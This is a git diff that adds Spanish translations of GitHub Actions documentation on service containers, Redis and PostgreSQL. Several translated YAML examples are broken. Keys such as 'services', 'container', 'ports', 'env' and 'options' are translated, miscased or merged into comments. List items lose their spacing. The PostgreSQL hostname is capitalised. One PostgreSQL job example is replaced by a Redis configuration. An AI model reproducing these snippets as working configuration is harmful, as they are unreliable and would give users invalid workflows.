-You can configure service containers for each job in a workflow. {% data variables.product.prodname_dotcom %} creates a fresh Docker container for each service configured in the workflow, and destroys the service container when the job completes. Steps in a job can communicate with all service containers that are part of the same job.
+Puedes configurar contenedores de servicios para cada trabajo en un flujo de trabajo. {% data variables.product.prodname_dotcom %} crea un contenedor de Docker nuevo para cada servicio configurado en el flujo de trabajo y destruye el contenedor de servicios cuando se termina el trabajo. Los pasos de un trabajo pueden comunicarse con todos los contenedores de servicios que son parte del mismo trabajo.
 
 {% data reusables.github-actions.docker-container-os-support %}
 
-## Communicating with service containers
+## Comunicarse con contenedores de servicios
 
-You can configure jobs in a workflow to run directly on a runner machine or in a Docker container. Communication between a job and its service containers is different depending on whether a job runs directly on the runner machine or in a container.
+Puedes configurar trabajos en un flujo de trabajo para que se ejecuten directamente en una máquina del ejecutor o en un contenedor de Docker. La comunicación entre un trabajo y sus contenedores de servicios cambia en función de si un trabajo se ejecuta directamente en la máquina del ejecutor o en un contenedor.
 
-### Running jobs in a container
+### Ejecutar trabajos en un contenedor
 
-When you run jobs in a container, {% data variables.product.prodname_dotcom %} connects service containers to the job using Docker's user-defined bridge networks. For more information, see "[Use bridge networks](https://docs.docker.com/network/bridge/)" in the Docker documentation.
+Cuando ejecutas trabajos en un contenedor, {% data variables.product.prodname_dotcom %} conecta los contenedores de servicios al trabajo mediante las redes de puente definidas por el usuario de Docker. Para obtener más información, consulta "[Usar redes de puente](https://docs.docker.com/network/bridge/)" en la documentación de Docker.
 
-Running the job and services in a container simplifies network access. You can access a service container using the label you configure in the workflow. The hostname of the service container is automatically mapped to the label name. For example, if you create a service container with the label `redis`, the hostname of the service container is `redis`.
+Al ejecutar el trabajo y los servicios en un contenedor, se simplifica el acceso a la red. Puedes acceder a un contenedor de servicios usando la etiqueta que configuraste en el flujo de trabajo. El nombre del host del contenedor de servicios se correlaciona automáticamente con el nombre de la etiqueta. Por ejemplo, si creas un contenedor de servicios con la etiqueta `redis`, el nombre del host del contenedor de servicio será `redis`.
 
-You don't need to configure any ports for service containers. By default, all containers that are part of the same Docker network expose all ports to each other, and no ports are exposed outside of the Docker network.
+No es necesario configurar ningún puerto para los contenedores de servicios. Por defecto, todos los contenedores que forman parte de la misma red de Docker se exponen los puertos entre sí, y no se exponen puertos por fuera de la red de Docker.
 
-### Running jobs on the runner machine
+### Ejecutar trabajos en la máquina del ejecutor
 
-When running jobs directly on the runner machine, you can access service containers using `localhost:<port>` or `127.0.0.1:<port>`. {% data variables.product.prodname_dotcom %} configures the container network to enable communication from the service container to the Docker host.
+Cuando ejecutas trabajos directamente en la máquina del ejecutor, puedes acceder a los contenedores de servicios usando `localhost:<port>` o `127.0.0.1<port>`. {% data variables.product.prodname_dotcom %} configura la red de contenedores para habilitar la comunicación desde el contenedor de servicios hasta el host de Docker.
 
-When a job runs directly on a runner machine, the service running in the Docker container does not expose its ports to the job on the runner by default. You need to map ports on the service container to the Docker host. For more information, see "[Mapping Docker host and service container ports](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)."
+Cuando un trabajo se ejecuta directamente en una máquina del ejecutor, el servicio que se ejecuta en el contenedor de Docker no expone sus puertos al trabajo del ejecutor por defecto. Debes asignar los puertos del contenedor de servicios al host de Docker. Para obtener más información, consulta "[Asignar puertos del host de Docker y del contenedor de servicios](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)".
 
-## Creating service containers
+## Crear contenedores de servicios
 
-You can use the `services` keyword to create service containers that are part of a job in your workflow. For more information, see [`jobs.<job_id>.services`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idservices).
+Puedes usar la palabra clave `services` para crear contenedores de servicios que sean parte de un trabajo en tu flujo de trabajo. Para obtener más información, consulta [`jobs.<job_id>.services`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idservices).
 
-This example creates a service called `redis` in a job called `container-job`. The Docker host in this example is the `node:10.18-jessie` container.
+Este ejemplo crea un servicio llamado `redis` en un trabajo llamado `container-job`. El host de Docker en este ejemplo es el contenedor `node: 10.18-jessie`.
 
 {% raw %}
 ```yaml{:copy}
@@ -57,67 +57,65 @@ name: Redis container example
 on: push
 
 jobs:
-  # Label of the container job
+  # Etiqueta del trabajo del contenedor
   container-job:
-    # Containers must run in Linux based operating systems
+    # Los contenedores deben ejecutarse en sistemas operativos basados en Linux
     runs-on: ubuntu-latest
-    # Docker Hub image that `container-job` executes in
-    container: node:10.18-jessie
+    # Imagen de Docker Hub que 'container-job' ejecuta en
+    el contendor: node:10.18-jessie
 
-    # Service containers to run with `container-job`
-    services:
-      # Label used to access the service container
+    # Contenedores de servicios para ejecutar con servicios de 'container-job':
+      # Etiqueta usada para acceder al contenedor de servicios
       redis:
-        # Docker Hub image
+        # Imagen de Docker Hub
         image: redis
 ```
 {% endraw %}
 
-## Mapping Docker host and service container ports
+## Asignar puertos del host de Docker y del contenedor de servicios
 
-If your job runs in a Docker container, you do not need to map ports on the host or the service container. If your job runs directly on the runner machine, you'll need to map any required service container ports to ports on the host runner machine.
+Si tu trabajo se ejecuta en un contenedor de Docker, no necesitas asignar puertos en el host o en el contenedor de servicios. Si tu trabajo se ejecuta directamente en la máquina del ejecutor, tendrás que asignar cualquier puerto requerido del contenedor de servicios a los puertos de la máquina del ejecutor del host.
 
-You can map service containers ports to the Docker host using the `ports` keyword. For more information, see [`jobs.<job_id>.services`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idservices).
+Puedes asignar puertos de contenedores de servicios al host de Docker utilizando la palabra clave `ports`. Para obtener más información, consulta [`jobs.<job_id>.services`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idservices).
 
-| Value of `ports` |	Description |
-|------------------|--------------|
-| `8080:80` |	Maps TCP port 80 in the container to port 8080 on the Docker host. |
-| `8080:80/udp` |	Maps UDP port 80 in the container to port 8080 on the Docker host. |
-| `8080/udp`	| Map a randomly chosen UDP port in the container to UDP port 8080 on the Docker host. |
+| Valor de `ports` | Descripción                                                                                       |
+| ---------------- | ------------------------------------------------------------------------------------------------- |
+| `8080:80`        | Asigna el puerto TCP 80 del contenedor al puerto 8080 del host de Docker.                         |
+| `8080:80/UDP`    | Asigna el puerto UDP 80 del contenedor al puerto 8080 del host de Docker.                         |
+| `8080/UDP`       | Asigna un puerto UDP elegido aleatoriamente del contenedor al puerto UDP 8080 del host de Docker. |
 
-When you map ports using the `ports` keyword, {% data variables.product.prodname_dotcom %} uses the `--publish` command to publish the container’s ports to the Docker host. For more information, see "[Docker container networking](https://docs.docker.com/config/containers/container-networking/)" in the Docker documentation.
+Cuando asignas puertos utilizando la palabra clave `ports`, {% data variables.product.prodname_dotcom %} utiliza el comando `--publish` para publicar los puertos del contenedor en el host de Docker. Para obtener más información, consulta "[Redes de contenedores de Docker](https://docs.docker.com/config/containers/container-networking/)"en la documentación de Docker.
 
-When you specify the Docker host port but not the container port, the container port is randomly assigned to a free port. {% data variables.product.prodname_dotcom %} sets the assigned container port in the service container context. For example, for a `redis` service container, if you configured the Docker host port 5432, you can access the corresponding container port using the `job.services.redis.ports[5432]` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#job-context)."
+Cuando especificas el puerto del host de Docker pero no el puerto del contenedor, el puerto del contenedor se asigna aleatoriamente a un puerto gratuito. {% data variables.product.prodname_dotcom %} establece el puerto del contenedor asignado en el contexto del contenedor de servicios. Por ejemplo, para un contenedor de servicios `redis`, si configuraste el puerto del host de Docker 5432, puedes acceder al puerto del contenedor correspondiente utilizando el contexto `job.services.redis.ports[5432]`. Para obtener más información, consulta "[Contextos](/actions/learn-github-actions/contexts#job-context)".
 
-### Example mapping Redis ports
+### Ejemplo de asignación de puertos Redis
 
-This example maps the service container `redis` port 6379 to the Docker host port 6379.
+Este ejemplo asigna el puerto 6379 del contenedor de servicios `redis` al puerto 6379 del host de Docker.
 
 {% raw %}
 ```yaml{:copy}
 name: Redis Service Example
 on: push
 
-jobs:
-  # Label of the container job
+Jobs:
+  # Etiqueta del trabajo del contenedor
   runner-job:
-    # You must use a Linux environment when using service containers or container jobs
+    # Debes usar un entorno Linux cuando uses contenedores de servicios o trabajos del contenedor
     runs-on: ubuntu-latest
 
-    # Service containers to run with `runner-job`
-    services:
-      # Label used to access the service container
+    # Contenedores de servicios para ejecutar con servicios de 'runner-job':
+      # Etiqueta usada para acceder al contenedor de servicios
       redis:
-        # Docker Hub image
+        # Imagen de Docker Hub
         image: redis
         #
-        ports:
-          # Opens tcp port 6379 on the host and service container
-          - 6379:6379
+        puertos:
+          # Abre el puerto tcp 6379 en el host y el contenedor de servicios
+          -6379:6379
 ```
 {% endraw %}
 
-## Further reading
+## Leer más
 
-- "[Creating Redis service containers](/actions/automating-your-workflow-with-github-actions/creating-redis-service-containers)"
-- "[Creating PostgreSQL service containers](/actions/automating-your-workflow-with-github-actions/creating-postgresql-service-containers)"
+- "[Crear contenedores de servicios Redis](/actions/automating-your-workflow-with-github-actions/creating-redis-service-containers)"
+- "[Crear contenedores de servicios PostgreSQL](/actions/automating-your-workflow-with-github-actions/creating-postgresql-service-containers)"
diff --git a/translations/es-ES/content/actions/using-containerized-services/creating-postgresql-service-containers.md b/translations/es-ES/content/actions/using-containerized-services/creating-postgresql-service-containers.md
index 645a542e6d..71cceedbe2 100644
--- a/translations/es-ES/content/actions/using-containerized-services/creating-postgresql-service-containers.md
+++ b/translations/es-ES/content/actions/using-containerized-services/creating-postgresql-service-containers.md
@@ -1,7 +1,7 @@
 ---
-title: Creating PostgreSQL service containers
-shortTitle: PostgreSQL service containers
-intro: You can create a PostgreSQL service container to use in your workflow. This guide shows examples of creating a PostgreSQL service for jobs that run in containers or directly on the runner machine.
+title: Crear contenedores de servicios PostgreSQL
+shortTitle: Contenedores de servicio de PostgreSQL
+intro: 'Puedes crear un contenedor de servicios PostgreSQL para usar en tu flujo de trabajo. En esta guía se muestran ejemplos de cómo crear un servicio PostgreSQL para trabajos que se ejecutan en contenedores o, directamente, en la máquina del ejecutor.'
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/creating-postgresql-service-containers
   - /actions/configuring-and-managing-workflows/creating-postgresql-service-containers
@@ -20,22 +20,22 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-This guide shows you workflow examples that configure a service container using the Docker Hub `postgres` image. The workflow runs a script that connects to the PostgreSQL service, creates a table, and then populates it with data. To test that the workflow creates and populates the PostgreSQL table, the script prints the data from the table to the console.
+En esta guía se muestran ejemplos de flujos de trabajo que configuran un contenedor de servicios mediante la imagen `postgres` de Docker Hub. El flujo de trabajo ejecuta un script que se conecta con el servicio de PostgreSQL, crea una tabla y luego la llena de datos. Para probar que el flujo de trabajo crea y puebla la tabla de PostgreSQL, el script imprimie los datos de esta en la consola.
 
 {% data reusables.github-actions.docker-container-os-support %}
 
-## Prerequisites
+## Prerrequisitos
 
 {% data reusables.github-actions.service-container-prereqs %}
 
-You may also find it helpful to have a basic understanding of YAML, the syntax for {% data variables.product.prodname_actions %}, and PostgreSQL. For more information, see:
+También puede ser útil tener un conocimiento básico de YAML, la sintaxis para las {% data variables.product.prodname_actions %}, y de PostgreSQL. Para obtener más información, consulta:
 
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
-- "[PostgreSQL tutorial](https://www.postgresqltutorial.com/)" in the PostgreSQL documentation
+- "[Aprende sobre las {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+- "[Tutorial de PostgreSQL](https://www.postgresqltutorial.com/)" en la documentación de PostgreSQL
 
-## Running jobs in containers
+## Ejecutar trabajos en contenedores
 
 {% data reusables.github-actions.container-jobs-intro %}
 
@@ -86,14 +86,14 @@ jobs:
         run: node client.js
         # Environment variables used by the `client.js` script to create a new PostgreSQL table.
         env:
-          # The hostname used to communicate with the PostgreSQL service container
-          POSTGRES_HOST: postgres
-          # The default PostgreSQL port
+          # Nombre del host utilizado para comunicarse con el contenedor de servicios PostgreSQL
+          POSTGRES_HOST: Postgres
+          # Puerto PostgreSQL predeterminado
           POSTGRES_PORT: 5432
 ```
 {% endraw %}
 
-### Configuring the runner job
+### Configurar el trabajo del ejecutador
 
 {% data reusables.github-actions.service-container-host %}
 
@@ -101,31 +101,26 @@ jobs:
 
 ```yaml{:copy}
 jobs:
-  # Label of the container job
+  # Etiqueta del trabajo del contenedor
   container-job:
-    # Containers must run in Linux based operating systems
+    # Los contenedores deben ejecutarse en sistemas operativos basados en Linux
     runs-on: ubuntu-latest
-    # Docker Hub image that `container-job` executes in
-    container: node:10.18-jessie
+    # Imagen de Docker Hub que `container-job` ejecuta en el contenedor: node:10.18-jessie
 
-    # Service containers to run with `container-job`
-    services:
-      # Label used to access the service container
-      postgres:
-        # Docker Hub image
-        image: postgres
-        # Provide the password for postgres
-        env:
-          POSTGRES_PASSWORD: postgres
-        # Set health checks to wait until postgres has started
-        options: >-
-          --health-cmd pg_isready
+    # Contenedores de servicios para ejecutar con servicios de `container-job`:
+      # Etiqueta utilizada para acceder al contenedor de servicios
+      redis:
+        # Imagen de Docker Hub
+        image: redis
+        # Establece revisiones de estado para esperar hasta que Redis inicie las
+        opciones: >-
+          --health-cmd "redis-cli ping"
           --health-interval 10s
           --health-timeout 5s
           --health-retries 5
 ```
 
-### Configuring the steps
+### Configurar los pasos
 
 {% data reusables.github-actions.service-template-steps %}
 
@@ -147,19 +142,19 @@ steps:
     # Environment variable used by the `client.js` script to create
     # a new PostgreSQL client.
     env:
-      # The hostname used to communicate with the PostgreSQL service container
-      POSTGRES_HOST: postgres
-      # The default PostgreSQL port
+      # Nombre del host utilizado para comunicarse con el contenedor de servicios PostgreSQL
+      POSTGRES_HOST: Postgres
+      # Puerto PostgreSQL predeterminado
       POSTGRES_PORT: 5432
 ```
 
 {% data reusables.github-actions.postgres-environment-variables %}
 
-The hostname of the PostgreSQL service is the label you configured in your workflow, in this case, `postgres`. Because Docker containers on the same user-defined bridge network open all ports by default, you'll be able to access the service container on the default PostgreSQL port 5432.
+El nombre del host del servicio PostgreSQL es la etiqueta que configuraste en tu flujo de trabajo, en este caso, `postgres`. Dado que los contenedores de Docker de la misma red de puentes definida por el usuario abren todos los puertos por defecto, podrás acceder al contenedor de servicios en el puerto 5432 PostgreSQL predeterminado.
 
-## Running jobs directly on the runner machine
+## Ejecutar trabajos directamente en la máquina del ejecutor
 
-When you run a job directly on the runner machine, you'll need to map the ports on the service container to ports on the Docker host. You can access service containers from the Docker host using `localhost` and the Docker host port number.
+Cuando ejecutes un trabajo directamente en la máquina del ejecutor, deberás asignar los puertos del contenedor de servicios a los puertos del host de Docker. Puedes acceder a los contenedores de servicios desde el host de Docker utilizando `localhost` y el número de puerto del host de Docker.
 
 {% data reusables.github-actions.copy-workflow-file %}
 
@@ -210,49 +205,48 @@ jobs:
         # Environment variables used by the `client.js` script to create
         # a new PostgreSQL table.
         env:
-          # The hostname used to communicate with the PostgreSQL service container
+          # Nombre del host utilizado para comunicarse con el contenedor de servicios PostgreSQL
           POSTGRES_HOST: localhost
-          # The default PostgreSQL port
+          # Puerto PostgreSQL predeterminado
           POSTGRES_PORT: 5432
 ```
 {% endraw %}
 
-### Configuring the runner job
+### Configurar el trabajo del ejecutador
 
 {% data reusables.github-actions.service-container-host-runner %}
 
 {% data reusables.github-actions.postgres-label-description %}
 
-The workflow maps port 5432 on the PostgreSQL service container to the Docker host. For more information about the `ports` keyword, see "[About service containers](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)."
+El flujo de trabajo asigna el puerto 5432 del contenedor de servicios PostgreSQL al host de Docker. Para obtener más información acerca de la palabra clave `ports`, consulta "[Acerca de los contenedores de servicio](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)".
 
 ```yaml{:copy}
 jobs:
-  # Label of the runner job
-  runner-job:
-    # You must use a Linux environment when using service containers or container jobs
+  # Etiqueta del trabajo del ejecutador
+  Runner-Job:
+    # Debes usar un entorno Linux cuando uses contenedores de servicios o trabajos del contenedor
     runs-on: ubuntu-latest
 
-    # Service containers to run with `runner-job`
-    services:
-      # Label used to access the service container
-      postgres:
-        # Docker Hub image
+    # Contenedores de servicios para ejecutar con servicios 'runner-job':
+      # Etiqueta usada para acceder al contenedor de servicios
+      Postgres:
+        # Imagen de Docker Hub
         image: postgres
-        # Provide the password for postgres
-        env:
+        # Proporciona la contraseña para postgres
+        Env:
           POSTGRES_PASSWORD: postgres
-        # Set health checks to wait until postgres has started
-        options: >-
+        # Establece chequeos de estado para esperar hasta que postgres inicie las
+        opciones: >-
           --health-cmd pg_isready
           --health-interval 10s
           --health-timeout 5s
           --health-retries 5
-        ports:
-          # Maps tcp port 5432 on service container to the host
-          - 5432:5432
+        Ports:
+          # Asigna el puerto tcp 5432 del contenedor de servicios al host
+          -5432:5432
 ```
 
-### Configuring the steps
+### Configurar los pasos
 
 {% data reusables.github-actions.service-template-steps %}
 
@@ -274,9 +268,9 @@ steps:
     # Environment variables used by the `client.js` script to create
     # a new PostgreSQL table.
     env:
-      # The hostname used to communicate with the PostgreSQL service container
+      # Nombre del host utilizado para comunicarse con el contenedor de servicios PostgreSQL
       POSTGRES_HOST: localhost
-      # The default PostgreSQL port
+      # Puerto PostgreSQL predeterminado
       POSTGRES_PORT: 5432
 ```
 
@@ -284,11 +278,11 @@ steps:
 
 {% data reusables.github-actions.service-container-localhost %}
 
-## Testing the PostgreSQL service container
+## Probar el contenedor de servicios de PostgreSQL
 
-You can test your workflow using the following script, which connects to the PostgreSQL service and adds a new table with some placeholder data. The script then prints the values stored in the PostgreSQL table to the terminal. Your script can use any language you'd like, but this example uses Node.js and the `pg` npm module. For more information, see the [npm pg module](https://www.npmjs.com/package/pg).
+Puedes probar tu flujo de trabajo utilizando el siguiente script, el cual se conecta con el servicio de PostgreSQL y agrega una tabla nueva con algunos datos de marcador de posición. Entonces, el script imprime los valores almacenados en la tabla de PostgreSQL en la terminal. Tu script puede usar el lenguaje que quieras, pero este ejemplo usa Node.js y el módulo npm de `pg`. Para obtener más información, consulta el [módulo npm de pg](https://www.npmjs.com/package/pg).
 
-You can modify *client.js* to include any PostgreSQL operations needed by your workflow. In this example, the script connects to the PostgreSQL service, adds a table to the `postgres` database, inserts some placeholder data, and then retrieves the data.
+Puedes modificar *client.js* para incluir cualquier operación de PostgreSQL que necesite tu flujo de trabajo. En este ejemplo, el script se conecta al servicio de PostgreSQL, agrega la tabla a la base de datos de `postgres`, inserta algunos datos de marcador de posición y luego recupera los datos.
 
 {% data reusables.github-actions.service-container-add-script %}
 
@@ -324,11 +318,11 @@ pgclient.query('SELECT * FROM student', (err, res) => {
 });
 ```
 
-The script creates a new connection to the PostgreSQL service, and uses the `POSTGRES_HOST` and `POSTGRES_PORT` environment variables to specify the PostgreSQL service IP address and port. If `host` and `port` are not defined, the default host is `localhost` and the default port is 5432.
+El script crea una conexión nueva con el servicio de PostgreSQL y utiliza las variables de ambiente `POSTGRES_HOST` y `POSTGRES_PORT` para especificar el puerto y dirección IP del servicio de PostgreSQL. Si `host` y `port` no están definidos, el host predeterminado es `localhost` y el puerto predeterminado es 5432.
 
-The script creates a table and populates it with placeholder data. To test that the `postgres` database contains the data, the script prints the contents of the table to the console log.
+El script crea una tabla y la rellena con datos de marcador de posición. Para probar que la base de datos de `postgres` contenga los datos, el script imprime el contenido de la tabla en la bitácora de la consola.
 
-When you run this workflow, you should see the following output in the "Connect to PostgreSQL" step, which confirms that you successfully created the PostgreSQL table and added data:
+Cuando ejecutas este flujo de trabajo, debes ver la siguiente salida en el paso de "Connect to PostgreSQL", la cual te confirma que creaste exitosamente la tabla de PostgreSQL y agregaste los datos:
 
 ```
 null [ { id: 1,
diff --git a/translations/es-ES/content/actions/using-containerized-services/creating-redis-service-containers.md b/translations/es-ES/content/actions/using-containerized-services/creating-redis-service-containers.md
index 2b9ed40122..77c847bf23 100644
--- a/translations/es-ES/content/actions/using-containerized-services/creating-redis-service-containers.md
+++ b/translations/es-ES/content/actions/using-containerized-services/creating-redis-service-containers.md
@@ -1,7 +1,7 @@
 ---
-title: Creating Redis service containers
-shortTitle: Redis service containers
-intro: You can use service containers to create a Redis client in your workflow. This guide shows examples of creating a Redis service for jobs that run in containers or directly on the runner machine.
+title: Crear contenedores de servicio Redis
+shortTitle: Contenedores de servicio de Redis
+intro: Puedes usar los contenedores de servicio para crear un cliente Redis en tu flujo de trabajo. En esta guía se muestran ejemplos de cómo crear un servicio Redis para los trabajos que se ejecutan en contenedores o directamente en la máquina ejecutor.
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/creating-redis-service-containers
   - /actions/configuring-and-managing-workflows/creating-redis-service-containers
@@ -20,22 +20,22 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-This guide shows you workflow examples that configure a service container using the Docker Hub `redis` image. The workflow runs a script to create a Redis client and populate the client with data. To test that the workflow creates and populates the Redis client, the script prints the client's data to the console.
+En esta guía se muestran ejemplos de flujo de trabajo que configuran un contenedor de servicio mediante la imagen `redis` de Docker Hub. El flujo de trabajo ejecuta un script para crear un cliente Redis y rellenar el cliente con datos. Para probar que el flujo de trabajo crea y rellena el cliente Redis, el script imprime los datos del cliente en la consola.
 
 {% data reusables.github-actions.docker-container-os-support %}
 
-## Prerequisites
+## Prerrequisitos
 
 {% data reusables.github-actions.service-container-prereqs %}
 
-You may also find it helpful to have a basic understanding of YAML, the syntax for {% data variables.product.prodname_actions %}, and Redis. For more information, see:
+También puede ser útil tener una comprensión básica de YAML, la sintaxis para {% data variables.product.prodname_actions %}, y Redis. Para obtener más información, consulta:
 
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
-- "[Getting Started with Redis](https://redislabs.com/get-started-with-redis/)" in the Redis documentation
+- "[Aprende sobre las {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+- "[Comenzar con Redis](https://redislabs.com/get-started-with-redis/)"en la documentación de Redis
 
-## Running jobs in containers
+## Ejecutar trabajos en contenedores
 
 {% data reusables.github-actions.container-jobs-intro %}
 
@@ -47,20 +47,18 @@ name: Redis container example
 on: push
 
 jobs:
-  # Label of the container job
+  # Etiqueta del trabajo del contenedor
   container-job:
-    # Containers must run in Linux based operating systems
+    # Los contenedores deben ejecutarse en sistemas operativos basados en Linux
     runs-on: ubuntu-latest
-    # Docker Hub image that `container-job` executes in
-    container: node:10.18-jessie
+    # Imagen de Docker Hub que `container-job` ejecuta en el contenedor: node:10.18-jessie
 
-    # Service containers to run with `container-job`
+    # Contenedores de servicio para ejecutar con `container-job`
     services:
-      # Label used to access the service container
-      redis:
-        # Docker Hub image
+      # Etiqueta usada para acceder al contenedor de servicio   redis:
+        # Imagen del contenedor Docker Hub
         image: redis
-        # Set health checks to wait until redis has started
+        # Establece revisiones de estado para esperar hasta que Redis haya comenzado
         options: >-
           --health-cmd "redis-cli ping"
           --health-interval 10s
@@ -68,29 +66,29 @@ jobs:
           --health-retries 5
 
     steps:
-      # Downloads a copy of the code in your repository before running CI tests
+      # Descarga una copia del código en tu repositorio antes de ejecutar pruebas de CI
       - name: Check out repository code
         uses: actions/checkout@v2
 
-      # Performs a clean installation of all dependencies in the `package.json` file
-      # For more information, see https://docs.npmjs.com/cli/ci.html
+      # Realiza una instalación limpia de todas las dependencias en el archivo `package.json`
+      # Para obtener más información, consulta https://docs.npmjs.com/cli/ci.html
       - name: Install dependencies
         run: npm ci
 
       - name: Connect to Redis
-        # Runs a script that creates a Redis client, populates
-        # the client with data, and retrieves data
+        # Ejecuta un script que crea un cliente Redis, rellena
+        # el cliente con datos y recupera datos
         run: node client.js
-        # Environment variable used by the `client.js` script to create a new Redis client.
+        # Variable de entorno utilizada por el script `client.js` para crear un nuevo cliente Redis.
         env:
-          # The hostname used to communicate with the Redis service container
+          # El nombre del host utilizado para comunicarse con el contenedor de servicio Redis
           REDIS_HOST: redis
-          # The default Redis port
+          # El puerto Redis predeterminado
           REDIS_PORT: 6379
 ```
 {% endraw %}
 
-### Configuring the container job
+### Configurar el trabajo del contenedor
 
 {% data reusables.github-actions.service-container-host %}
 
@@ -98,20 +96,19 @@ jobs:
 
 ```yaml{:copy}
 jobs:
-  # Label of the container job
+  # Etiqueta del trabajo del contenedor
   container-job:
-    # Containers must run in Linux based operating systems
+    # Los contenedores deben ejecutarse en sistemas operativos basados en Linux
     runs-on: ubuntu-latest
-    # Docker Hub image that `container-job` executes in
-    container: node:10.18-jessie
+    # Imagen de Docker Hub que `container-job` ejecuta en el contenedor: node:10.18-jessie
 
-    # Service containers to run with `container-job`
+    # Contenedores de servicio para ejecutar con `container-job`
     services:
-      # Label used to access the service container
+      # Etiqueta utilizada para acceder al contenedor de servicio
       redis:
-        # Docker Hub image
+        # Imagen de Docker Hub
         image: redis
-        # Set health checks to wait until redis has started
+        # Establece revisiones de estado para esperar hasta que Redis haya comenzado
         options: >-
           --health-cmd "redis-cli ping"
           --health-interval 10s
@@ -119,40 +116,40 @@ jobs:
           --health-retries 5
 ```
 
-### Configuring the steps
+### Configurar los pasos
 
 {% data reusables.github-actions.service-template-steps %}
 
 ```yaml{:copy}
 steps:
-  # Downloads a copy of the code in your repository before running CI tests
+  # Descarga una copia del código en tu repositorio antes de ejecutar pruebas de CI
   - name: Check out repository code
     uses: actions/checkout@v2
 
-  # Performs a clean installation of all dependencies in the `package.json` file
-  # For more information, see https://docs.npmjs.com/cli/ci.html
+  # Realiza una instalación limpia de todas las dependencias en el archivo `package.json`
+  # Para obtener más información, consulta https://docs.npmjs.com/cli/ci.html
   - name: Install dependencies
     run: npm ci
 
   - name: Connect to Redis
-    # Runs a script that creates a Redis client, populates
-    # the client with data, and retrieves data
+    # Ejecuta un script que crea un cliente Redis, rellena
+    # el cliente con datos y recupera datos
     run: node client.js
-    # Environment variable used by the `client.js` script to create a new Redis client.
+    # Variable de entorno utilizada por el script `client.js` para crear un nuevo cliente Redis.
     env:
-      # The hostname used to communicate with the Redis service container
+      # El nombre del host utilizado para comunicarse con el contenedor del servicio Redis
       REDIS_HOST: redis
-      # The default Redis port
+      # El puerto Redis predeterminado
       REDIS_PORT: 6379
 ```
 
 {% data reusables.github-actions.redis-environment-variables %}
 
-The hostname of the Redis service is the label you configured in your workflow, in this case, `redis`. Because Docker containers on the same user-defined bridge network open all ports by default, you'll be able to access the service container on the default Redis port 6379.
+El nombre del host del servicio Redis es la etiqueta que configuraste en tu flujo de trabajo, en este caso, `redis`. Dado que los contenedores Docker en la misma red de puentes definida por el usuario abren todos los puertos por defecto, podrás acceder al contenedor del servicio en el puerto Redis predeterminado 6379.
 
-## Running jobs directly on the runner machine
+## Ejecutar trabajos directamente en la máquina del ejecutor
 
-When you run a job directly on the runner machine, you'll need to map the ports on the service container to ports on the Docker host. You can access service containers from the Docker host using `localhost` and the Docker host port number.
+Cuando ejecutes un trabajo directamente en la máquina del ejecutor, deberás asignar los puertos del contenedor de servicios a los puertos del host de Docker. Puedes acceder a los contenedores de servicios desde el host de Docker utilizando `localhost` y el número de puerto del host de Docker.
 
 {% data reusables.github-actions.copy-workflow-file %}
 
@@ -162,108 +159,108 @@ name: Redis runner example
 on: push
 
 jobs:
-  # Label of the runner job
+  # Etiqueta del trabajo del ejecutor
   runner-job:
-    # You must use a Linux environment when using service containers or container jobs
+    # Debes usar un entorno Linux cuando utilices contenedores de servicio o trabajos de contenedor
     runs-on: ubuntu-latest
 
-    # Service containers to run with `runner-job`
+    # Contenedores de servicio para ejecutar con `runner-job`
     services:
-      # Label used to access the service container
+      # Etiqueta usada para acceder al contenedor de servicio
       redis:
-        # Docker Hub image
+        # Imagen de Docker Hub
         image: redis
-        # Set health checks to wait until redis has started
+        # Establece revisiones de estado para esperar hasta que Redis haya comenzado
         options: >-
           --health-cmd "redis-cli ping"
           --health-interval 10s
           --health-timeout 5s
           --health-retries 5
         ports:
-          # Maps port 6379 on service container to the host
+          # Asigna el puerto 6379 en el contenedor de servicio al host
           - 6379:6379
 
     steps:
-      # Downloads a copy of the code in your repository before running CI tests
+      # Descarga una copia del código en tu repositorio antes de ejecutar pruebas de CI
       - name: Check out repository code
         uses: actions/checkout@v2
 
-      # Performs a clean installation of all dependencies in the `package.json` file
-      # For more information, see https://docs.npmjs.com/cli/ci.html
+      # Realiza una instalación limpia de todas las dependencias en el archivo `package.json`
+      # Para obtener más información, consulta https://docs.npmjs.com/cli/ci.html
       - name: Install dependencies
         run: npm ci
 
       - name: Connect to Redis
-        # Runs a script that creates a Redis client, populates
-        # the client with data, and retrieves data
+        # Ejecuta un script que crea un cliente Redis, rellena
+        # el cliente con datos y recupera datos
         run: node client.js
-        # Environment variable used by the `client.js` script to create
-        # a new Redis client.
+        # Variable de entorno utilizada por el script `client.js` para  crear
+        # un nuevo cliente Redis.
         env:
-          # The hostname used to communicate with the Redis service container
+          # El nombre del host utilizado para comunicarse con el contenedor del servicio Redis
           REDIS_HOST: localhost
-          # The default Redis port
+          # El puerto Redis predeterminado
           REDIS_PORT: 6379
 ```
 {% endraw %}
 
-### Configuring the runner job
+### Configurar el trabajo del ejecutador
 
 {% data reusables.github-actions.service-container-host-runner %}
 
 {% data reusables.github-actions.redis-label-description %}
 
-The workflow maps port 6379 on the Redis service container to the Docker host. For more information about the `ports` keyword, see "[About service containers](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)."
